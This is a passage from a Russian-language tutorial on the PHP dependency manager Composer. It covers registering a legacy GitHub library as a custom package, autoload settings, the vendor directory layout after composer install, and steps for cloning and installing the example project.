Теперь подключим нашу легаси-библиотеку superlib, которая лежит на github, но не является оформленным Composer-пакетом, т.к. она очень старая.
В массив repositories добавился объект, который целиком описывает пакет pqr/superlib. По сути, это то описание, которое должен был бы сделать автор библиотеки и положить его внутри своего репозитория. Но по условиям задачи, superlib не является оформленным Composer-пакетом, поэтому нам пришлось создать его описание в рамках Super Hello World проекта. Аналогичным образом можно подключить любую другую библиотеку, в т.ч. простой zip файл.
Подключаем простой zip файл
Например, вот как могло бы выглядеть описание зависимости от шаблонизатора Smarty, распространяемого в виде zip файла с исходниками в svn:
Инстукция autoload
Вернёмся к нашему проекту.
Описывая «pqr/superlib», мы добавили инструкцию autoload. В ней указан файл timer.php, в котором будущий автозагрузчик будет искать классы и указали файл с функциями lib_functions.php — он будет принудительно подключаться в начале autoload.php.
- в корне лежит файл composer.json;
- в корне находятся директории web и views;
- внутри директории web лежит файл с «бизнес-логикой» нашего приложения: index.php;
- внутри директории views лежит файл шаблона layout.twig;
- дополнительно, в папку web я положил .htaccess (для apache) и web.config (для IIS 7.5) с правилами mod_rewrite/url rewriter — непосредсвенно к настройке Composer они отношения не имеют.
Запускаем composer install
- файл autoload.php
- служебные директории .composer и composer
- pimple — пакет, который подтянулся вместе с микрофреймворком Silex
- silex — сам микрофреймворк, его мы явным образом затребовали при описании зависимостей
- symfony — некоторые компоненты из Symfony 2, которые требуются для работы Silex
- twig — шаблонизатор, который мы также явно запросили
- mycompany — внутри этой директории будет находиться репозиторий superlogger скаченный с github
- pqr — внутри этой директории будет находиться репозиторий superlib, также скаченный с github
Как создать собственный Composer пакет?
В этом проекте мы использовали Composer с точки зрения потребителя библиотек. А как самому создать Composer пакет, чтобы любой другой человек смог им воспользоваться?
На самом деле, один из таких пакетов я создал, когда подготавливал примеры для этой статьи. В корне репозитория superlogger лежит файл composer.json похожей структуры, который описывает сам пакет и его зависимости (в случае с superlogger зависимостей нет). Другие примеры: репозитории silex и twig, которые скачались в папку vendor — все они имеют файл composer.json в корне — смотрите, изучайте!
И, конечно, не забывайте про документацию на официальном сайте getcomposer.org/doc/.
Эту тему я оставлю вам для самостоятельной проработки.
Подведём итоги
В этой статье я рассказал, что такое Composer, его историю и описал основные возможности. Мы с вами попробовали создать проект, который использует Composer для установки пакетов с сайта packagist.org и из наших собственных репозиториев.
- Скачате Composer (getcomposer.org/download/)
- Скачате superhelloworld (git clone git://github.com/pqr/superhelloworld.git)
- Установите зависимости (cd superhelloworld && php composer.phar install)
- Изучите появившуюся папку vendor и сгенерированный autoload.php
- Используте Composer в своих проектах
… - PROFIT.
В своих рабочих проектах я использую систему контроля версий Mercurial. Этот пример вы также можете скачать и установить через Composer с сайта bitbucket.org: http://bitbucket.org/pqr/superhelloworld
Внимание: к сожалению, при использовании Composer с Mercurial репозиториями на Windows машине я нашел один баг. Если вы устанавливаете зависимости в проекте, который находится на диске отличном от системного диска, то получите ошибку. Например, системный диск C:, а проект вы разворачиваете где-то в папке D:\someproject и ваш проект зависит от библиотек опубликованных в виде Mercurial репозиториев — Composer не сможет правильно их прочитать. Собираюсь в ближайшее время пофиксить этот баг и отправить pull request в официальный репозиторий Composer’а.